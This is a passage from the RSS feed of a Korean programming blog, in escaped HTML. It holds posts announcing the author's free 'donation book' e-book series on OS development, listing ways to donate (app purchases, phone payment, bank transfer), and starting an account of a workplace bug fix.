		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div style='text-align: center; margin: 10px auto; height: 91px; overflow: hidden; clear: both;'&gt;&lt;iframe title='mixUP 위젯' src='http://mixsh.com/widget/new_mixup/loader_plugin.html?domain=kkamagui.tistory.com&amp;media_type=10&amp;guid=kkamagui.tistory.com%2F785&amp;regts=1324568972&amp;showhitcnt=1&amp;platform=10' frameBorder='0' scrolling='no' allowTransparency='true' width='402' height='130'&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;another_category another_category_color_red&quot;&gt;
&lt;h4&gt;'&lt;a href=&quot;/category/잡담&quot;&gt;잡담&lt;/a&gt;' 카테고리의 다른 글&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/789&quot; &gt;스크립트 언어를 배우고 사용하는 건 시간 낭비가 아니에요. ㅠㅠ....&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(26)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/787&quot; &gt;2011년을 마감하며....&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/01&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/785&quot; &gt;최근 보고 있는 책 2권을 소개합니다~!!&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/12/23&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/782&quot; &gt;앞으로 수련을 더 열심히 해야 겠군요. ㅠㅠ&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/12/10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/779&quot; &gt;이 밤의 끝을 잡고....&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(6)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/11/16&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/778&quot; &gt;조선일보가 &amp;quot;국민연금 더 내게 해달라고 때쓰는 이유&amp;quot;...&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/11/12&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;</description>
			<category>잡담</category>
			<category>리스프</category>
			<category>카산드라</category>
			<category>한동훈</category>
			<category>한빛미디어</category>
			<author>kkamagui</author>
			<guid>http://kkamagui.tistory.com/785</guid>
			<comments>http://kkamagui.tistory.com/785#entry785comment</comments>
			<pubDate>Fri, 23 Dec 2011 00:47:19 +0900</pubDate>
		</item>
		<item>
			<title>&quot;kkamagui의 기부 북 시리즈&quot; 최신 목록~!!</title>
			<link>http://kkamagui.tistory.com/784</link>
			<description>kkamagui의 기부 북(Donation Book) 시리즈는 여러분의 기부로 출간되는 핸드북 형태의 전자책(e-book) 입니다. 한 권의 책으로 내기에는 양이 부족한 프로그래밍 팁이나 강좌를 묶어서 출간한 것으로, 제가 그동안 진행해왔던 프로젝트에 대한 내용들이 담겨있습니다. ^^ &lt;br /&gt;
&lt;br /&gt;
지금까지 나온 기부 북 시리즈는 아래와 같습니다.&lt;br /&gt;
&lt;div style=&quot;border-style: double; border-width: 3px; border-color: rgb(121, 165, 228); padding: 10px;&quot; class=&quot;txc-textbox&quot;&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;1권, OS Framework(프레임워크로 다시보는 OS 개발)&lt;/span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;1부 : &lt;/span&gt;다운로드하려면 아래 링크를 클릭하세요 &lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://kkamagui.tistory.com/attachment/cfile7.uf@170B2D504EE390E2205C6D.pdf&quot;&gt;&lt;img src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/blog/image/extension/pdf.gif&quot; alt=&quot;&quot; style=&quot;vertical-align: middle;&quot; /&gt; os_framework_1_1_free.pdf&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;2부 : &lt;/span&gt;다운로드하려면 아래 링크를 클릭하세요 &lt;br /&gt;
&lt;/li&gt;&lt;li&gt;&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://kkamagui.tistory.com/attachment/cfile29.uf@16448A4C4EF7F1D734615E.pdf&quot;&gt;&lt;img src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/blog/image/extension/pdf.gif&quot; alt=&quot;&quot; style=&quot;vertical-align: middle;&quot; /&gt; os_framework_1_2_free.pdf&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;/li&gt;&lt;/ul&gt;
&lt;/ul&gt;&lt;/div&gt;
&lt;p&gt;무료로 배포되는 기부 북 시리즈는 원활한 기부를 위해 본문에 간헐적으로 기부 방법을 알리는 배너가 들어있습니다. 배너로 인해 불편을 느끼신다면 살짝 도와주신 뒤 저에게 메일(kkamagui at gmail.com)로 알려주시기 바랍니다. 메일을 확인하는대로 편하게 보실 수 있도록 기부 배너가 제외된 문서를 보내드리겠습니다. &lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;기부 북을 위해 도움을 주실 수 있는 방법은 아래 링크를 클릭하시면 좀더 자세히 보실 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;div style=&quot;border-style: double; border-width: 3px; border-color: rgb(121, 165, 228); padding: 10px;&quot; class=&quot;txc-textbox&quot;&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;기부 북을 도울 수 있는 방법 보기&lt;/span&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div style=&quot;text-align: center; font-weight: bold;&quot;&gt;
&lt;a title=&quot;[http://kkamagui.tistory.com/783]로 이동합니다.&quot; target=&quot;_blank&quot; href=&quot;http://kkamagui.tistory.com/783&quot;&gt;http://kkamagui.tistory.com/783&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;그동안 머리속을 계속 맴돌고 있던 생각을 이제서야 실행해보는군요. ^^;;; 앞으로 어떻게 될지 모르겠지만, 지금까지 진행했던 프로젝트를 정리한다는 생각으로 하나씩 만들어 나갈 생각입니다. 물론, 본업에 충실해야하기 때문에 진도는 더디겠지만 꾸준히 하다보면 내년 말이면 꽤 많은 시리즈를 많들 수 있지 않을까 생각합니다. ㅎㅎ &lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;그럼 좋은 밤 되시고, 기부 북에 많은 관심과 기대 부탁드립니다. ;)&lt;br /&gt;
&lt;/p&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-784-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-784-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-784-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div style='text-align: center; margin: 10px auto; height: 91px; overflow: hidden; clear: both;'&gt;&lt;iframe title='mixUP 위젯' src='http://mixsh.com/widget/new_mixup/loader_plugin.html?domain=kkamagui.tistory.com&amp;media_type=10&amp;guid=kkamagui.tistory.com%2F784&amp;regts=1324872179&amp;showhitcnt=1&amp;platform=10' frameBorder='0' scrolling='no' allowTransparency='true' width='402' height='130'&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;another_category another_category_color_red&quot;&gt;
&lt;h4&gt;'&lt;a href=&quot;/category/기부%20북%20시리즈&quot;&gt;기부 북 시리즈&lt;/a&gt;' 카테고리의 다른 글&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/786&quot; &gt;기부 북 시리즈 1권인 OS Framework의 2부가 나왔습니다.&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/12/26&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/784&quot; &gt;&amp;quot;kkamagui의 기부 북 시리즈&amp;quot; 최신 목록~!!&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(8)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/12/11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/783&quot; &gt;&amp;quot;kkamagui의 기부 북 시리즈&amp;quot;를 도울 수 있는 여러가지 방법들~!!&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/12/10&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;</description>
			<category>기부 북 시리즈</category>
			<category>기부 북</category>
			<category>기부 북 목록</category>
			<author>kkamagui</author>
			<guid>http://kkamagui.tistory.com/784</guid>
			<comments>http://kkamagui.tistory.com/784#entry784comment</comments>
			<pubDate>Sun, 11 Dec 2011 02:13:33 +0900</pubDate>
		</item>
		<item>
			<title>&quot;kkamagui의 기부 북 시리즈&quot;를 도울 수 있는 여러가지 방법들~!!</title>
			<link>http://kkamagui.tistory.com/783</link>
			<description>&lt;span style=&quot;font-weight: bold;&quot;&gt;kkamagui의 기부 북(Donation Book) 시리즈&lt;/span&gt;는 여러분의 기부로 출간되는 핸드북 형태의 전자책(e-book) 입니다. 한 권의 책으로 내기에는 양이 부족한 프로그래밍 팁이나 강좌를 묶어서 출간한 것으로, 제가 그동안 진행해왔던 프로젝트에 대한 내용들이 담겨있습니다. ^^ 지금까지 출간된 기부 북의 목록은 아래 글을 참조하시기 바랍니다.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;border-style: solid; border-width: 1px; border-color: rgb(121, 165, 228); padding: 10px; text-align: center;&quot; class=&quot;txc-textbox&quot;&gt;
&lt;span style=&quot;font-weight: bold;&quot;&gt;지금까지 나온 기부 북의 목록들...&lt;/span&gt;&lt;br /&gt;
&lt;a title=&quot;[http://kkamagui.tistory.com/783]로 이동합니다.&quot; target=&quot;_blank&quot; href=&quot;http://kkamagui.tistory.com/783&quot;&gt;&lt;/a&gt;&lt;a title=&quot;[http://kkamagui.tistory.com/784]로 이동합니다.&quot; target=&quot;_blank&quot; href=&quot;http://kkamagui.tistory.com/784&quot;&gt;http://kkamagui.tistory.com/784&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;
&lt;br /&gt;
만일 kkamagui의 기부 북 시리즈가 여러분에게 도움이 되었으며, 다음 기부 북 시리즈가 나오기를 바라신다면 작은 기부를 부탁 드립니다. 여러분이 모아주신 기부는 운영하는 사이트를 유지하고 기부 북 시리즈를 출간 하는데 많은 도움이 됩니다. ^^)-b&lt;br /&gt;
&lt;br /&gt;
기부는 아래의 방법으로 가능합니다.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;border-style: double; border-width: 3px; border-color: rgb(121, 165, 228); padding: 10px;&quot; class=&quot;txc-textbox&quot;&gt;
&lt;ul style=&quot;list-style-type: square;&quot;&gt;
&lt;li style=&quot;font-weight: bold;&quot;&gt;기부 북 안드로이드 어플을 구매하는 방법&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a title=&quot;[http://market://details?id=jscompany.book.osframework1]로 이동합니다.&quot; target=&quot;_blank&quot; href=&quot;http://market://details?id=jscompany.book.osframework1&quot;&gt;market://details?id=jscompany.book.osframework1&lt;/a&gt; (안드로이드 폰에서 마켓을 통해 직접 구매)&lt;/li&gt;
&lt;li&gt;&lt;a title=&quot;[https://market.android.com/details?id=jscompany.book.osframework1]로 이동합니다.&quot; target=&quot;_blank&quot; href=&quot;https://market.android.com/details?id=jscompany.book.osframework1&quot;&gt;https://market.android.com/details?id=jscompany.book.osframework1&lt;/a&gt; (웹을 통해서 구&lt;br /&gt;
매)&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;ul style=&quot;list-style-type: square;&quot;&gt;
&lt;li style=&quot;font-weight: bold;&quot;&gt;휴대폰 결제를 이용하는 방법&lt;/li&gt;
&lt;ul&gt;
&lt;li style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;P 뱅크를 통한 휴대폰 결재, 아래 링크를 클릭하면 익스플로러를 통해 결재 가능&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;font-weight: bold;&quot;&gt;&lt;a style=&quot;font-weight: normal;&quot; title=&quot;[http://www.pbank.co.kr/svc/remit/remit_pop.jsp?kind=A&amp;amp;b_bankbook=362108035&amp;amp;fix=56603]로 이동합니다.&quot; target=&quot;_blank&quot; href=&quot;http://www.pbank.co.kr/svc/remit/remit_pop.jsp?kind=A&amp;amp;b_bankbook=362108035&amp;amp;fix=56603&quot;&gt;http://www.pbank.co.kr/svc/remit/remit_pop.jsp?kind=A&amp;amp;b_bankbook=362108035&amp;amp;fix=56603&lt;/a&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;ul style=&quot;list-style-type: square;&quot;&gt;
&lt;li style=&quot;font-weight: bold;&quot;&gt;은행 송금을 이용하는 방법&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;국민은행 399102-04-064166 김준영&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;ul style=&quot;list-style-type: square;&quot;&gt;
&lt;li style=&quot;font-weight: bold;&quot;&gt;안드로이드 어플을 다운받아서 틈틈이 즐기는 방법&lt;/li&gt;
&lt;ul&gt;
&lt;li style=&quot;font-weight: bold;&quot;&gt;간단한 게임들 밖에 없어서 부끄럽지만... 간혹 퀄리티(?) 있는 것도 있으니 너그러이 봐주세요. ㅠㅠ&lt;/li&gt;
&lt;ul&gt;
&lt;li style=&quot;font-weight: bold;&quot;&gt;게임들...&lt;br /&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;li style=&quot;font-weight: bold; margin-left: 4em;&quot;&gt;&lt;a style=&quot;font-weight: normal;&quot; title=&quot;[https://market.android.com/details?id=jscompany.games.SheepAndWolf_enter3#?t=W251bGwsMSwxLDIxMiwianNjb21wYW55LmdhbWVzLlNoZWVwQW5kV29sZl9lbnRlcjMiXQ..]로 이동합니다.&quot; target=&quot;_blank&quot; href=&quot;https://market.android.com/details?id=jscompany.games.SheepAndWolf_enter3#?t=W251bGwsMSwxLDIxMiwianNjb21wYW55LmdhbWVzLlNoZWVwQW5kV29sZl9lbnRlcjMiXQ..&quot;&gt;양과 늑대&lt;br /&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;font-weight: bold; margin-left: 4em;&quot;&gt;&lt;a style=&quot;font-weight: normal;&quot; title=&quot;[https://market.android.com/details?id=jscompany.games.MultiplicationTable_tool#?t=W251bGwsMSwxLDIxMiwianNjb21wYW55LmdhbWVzLk11bHRpcGxpY2F0aW9uVGFibGVfdG9vbCJd]로 이동합니다.&quot; target=&quot;_blank&quot; href=&quot;https://market.android.com/details?id=jscompany.games.MultiplicationTable_tool#?t=W251bGwsMSwxLDIxMiwianNjb21wYW55LmdhbWVzLk11bHRpcGxpY2F0aW9uVGFibGVfdG9vbCJd&quot;&gt;구구단의 달인&lt;/a&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: bold; margin-left: 4em;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;&lt;a title=&quot;[https://market.android.com/details?id=jscompany.games.MasterOfMath_tool]로 이동합니다.&quot; target=&quot;_blank&quot; href=&quot;https://market.android.com/details?id=jscompany.games.MasterOfMath_tool&quot;&gt;수학의 달인&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;font-weight: bold; margin-left: 4em;&quot;&gt;&lt;span style=&quot; font-weight: normal;&quot;&gt;&lt;a title=&quot;[https://market.android.com/details?id=jscompany.games.dropcoconut_tool#?t=W251bGwsMSwxLDIxMiwianNjb21wYW55LmdhbWVzLmRyb3Bjb2NvbnV0X3Rvb2wiXQ..]로 이동합니다.&quot; target=&quot;_blank&quot; href=&quot;https://market.android.com/details?id=jscompany.games.dropcoconut_tool#?t=W251bGwsMSwxLDIxMiwianNjb21wYW55LmdhbWVzLmRyb3Bjb2NvbnV0X3Rvb2wiXQ..&quot;&gt;코코넛을 떨어뜨려라&lt;/a&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul style=&quot;margin-left: 4em;&quot;&gt;
&lt;li&gt;&lt;a title=&quot;[https://market.android.com/details?id=jscompany.games.SeparateTrash_tool]로 이동합니다.&quot; target=&quot;_blank&quot; href=&quot;https://market.android.com/details?id=jscompany.games.SeparateTrash_tool&quot;&gt;쓰레기 분리 수거&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a title=&quot;[https://market.android.com/details?id=jscompany.games.flipflipcard_tool#?t=W251bGwsMSwxLDIxMiwianNjb21wYW55LmdhbWVzLmZsaXBmbGlwY2FyZF90b29sIl0.]로 이동합니다.&quot; target=&quot;_blank&quot; href=&quot;https://market.android.com/details?id=jscompany.games.flipflipcard_tool#?t=W251bGwsMSwxLDIxMiwianNjb21wYW55LmdhbWVzLmZsaXBmbGlwY2FyZF90b29sIl0.&quot;&gt;플립플립 카드&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a title=&quot;[https://market.android.com/details?id=jscompany.games.comebackhome_enter#?t=W251bGwsMSwxLDIxMiwianNjb21wYW55LmdhbWVzLmNvbWViYWNraG9tZV9lbnRlciJd]로 이동합니다.&quot; target=&quot;_blank&quot; href=&quot;https://market.android.com/details?id=jscompany.games.comebackhome_enter#?t=W251bGwsMSwxLDIxMiwianNjb21wYW55LmdhbWVzLmNvbWViYWNraG9tZV9lbnRlciJd&quot;&gt;컴백홈&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;ul style=&quot;list-style-type: square;&quot;&gt;
&lt;ul&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;유틸리티들...&lt;/span&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;ul style=&quot;margin-left: 4em;&quot;&gt;
&lt;li&gt;&lt;a title=&quot;[https://market.android.com/details?id=jscompany.apps.junecontroller_tool#?t=W251bGwsMSwxLDIxMiwianNjb21wYW55LmFwcHMuanVuZWNvbnRyb2xsZXJfdG9vbCJd]로 이동합니다.&quot; target=&quot;_blank&quot; href=&quot;https://market.android.com/details?id=jscompany.apps.junecontroller_tool#?t=W251bGwsMSwxLDIxMiwianNjb21wYW55LmFwcHMuanVuZWNvbnRyb2xsZXJfdG9vbCJd&quot;&gt;준 컨트롤러&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li style=&quot;font-weight: bold;&quot;&gt;기부 북 시리즈를 널리 알리는 방법&lt;/li&gt;
&lt;ul&gt;
&lt;li style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;많은 사람들이 볼 수 있도록 기부 북을 블로그나 트위터, 페이스북을 통해 널리 알려주세요. :)&lt;/span&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;ul style=&quot;list-style-type: square;&quot;&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;br /&gt;
무료로 배포되는 기부 북 시리즈는 원활한 기부를 위해 본문에 간헐적으로 기부 방법을 알리는 배너가 들어있습니다. 배너로 인해 불편을 느끼신다면 살짝 도와주신 뒤 저에게 메일(kkamagui at gmail.com)로 알려주시기 바랍니다. 메일을 확인하는대로 편하게 보실 수 있도록 기부 배너가 제외된 문서를 보내드리겠습니다. &lt;br /&gt;
&lt;br /&gt;
기부 북 안드로이드 어플을 구매하신 분은 배너가 제거된 문서가 어플에 포함되어 있으니, 보시는데 큰 불편함이 없을 겁니다. ^^ (설마 보내드린 문서를 다른 분과 공유하시는 분은 없겠죠? ㅠㅠ).&lt;br /&gt;
&lt;br /&gt;
새해를 맞아 무엇인가 의미있는 일을 시작하고 싶어서 계획하고 있던 일이었는데 생각보다 조금 일찍 시작하게 되었네요. 내년 이맘 때까지 수많은 기부 북 시리즈가 나올 수 있도록 열심히 한번 해보겠습니다. 지켜봐주세요 ^^)/~&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: right;&quot;&gt;
기부 북이 여러분에게 많은 도움이 되길 기대하면서...&lt;br /&gt;
2011년 겨울 어느 추운 겨울 밤...&lt;br /&gt;
kkamagui 드림&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-783-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-783-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-783-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div style='text-align: center; margin: 10px auto; height: 91px; overflow: hidden; clear: both;'&gt;&lt;iframe title='mixUP 위젯' src='http://mixsh.com/widget/new_mixup/loader_plugin.html?domain=kkamagui.tistory.com&amp;media_type=10&amp;guid=kkamagui.tistory.com%2F783&amp;regts=1324215762&amp;showhitcnt=1&amp;platform=10' frameBorder='0' scrolling='no' allowTransparency='true' width='402' height='130'&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;another_category another_category_color_red&quot;&gt;
&lt;h4&gt;'&lt;a href=&quot;/category/기부%20북%20시리즈&quot;&gt;기부 북 시리즈&lt;/a&gt;' 카테고리의 다른 글&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/786&quot; &gt;기부 북 시리즈 1권인 OS Framework의 2부가 나왔습니다.&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/12/26&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/784&quot; &gt;&amp;quot;kkamagui의 기부 북 시리즈&amp;quot; 최신 목록~!!&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(8)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/12/11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/783&quot; &gt;&amp;quot;kkamagui의 기부 북 시리즈&amp;quot;를 도울 수 있는 여러가지 방법들~!!&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/12/10&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;</description>
			<category>기부 북 시리즈</category>
			<category>kkamagui</category>
			<category>기부 방법</category>
			<category>기부 북</category>
			<author>kkamagui</author>
			<guid>http://kkamagui.tistory.com/783</guid>
			<comments>http://kkamagui.tistory.com/783#entry783comment</comments>
			<pubDate>Sat, 10 Dec 2011 15:01:24 +0900</pubDate>
		</item>
		<item>
			<title>앞으로 수련을 더 열심히 해야 겠군요. ㅠㅠ</title>
			<link>http://kkamagui.tistory.com/782</link>
			<description>요즘 저희가 만든 제품이 세계 곳곳(?)으로 나가고 있어서, 정신없이 하루하루를 보내고 있습니다. 그러다가 어떤 문제를 만났는데요, 이 문제의 해법에 대해서 의견이 분분하던 차에 제가 그 문제의 수정에 합류하게 되었습니다. ^^;;;&lt;br /&gt;
&lt;br /&gt;문제를 간단하게 설명드리자면, 어떤 시점이 되면 배열의 특정 필드의 값이 A라는 값으로 초기화되는 것이었는데... 이 값이 언제 어떻게 초기화되는지를 명확하게 찾을 수가 없었습니다. 그래서, 제가 일단 이 값이 A라는 값으로 초기화되었는지 매번 확인하여 값이 바뀌었으면&amp;nbsp; 배열 값이 백업되어있느 곳에서 값을 가져와서 A를 정상적인 값으로 바꿔주는 방식으로 제안을 했습니다. &lt;span style=&quot;font-weight: bold;&quot;&gt;왜냐하면, 배열의 값이 &quot;A&quot;로 바뀌기 때문이었지요.&lt;/span&gt;&lt;br /&gt;
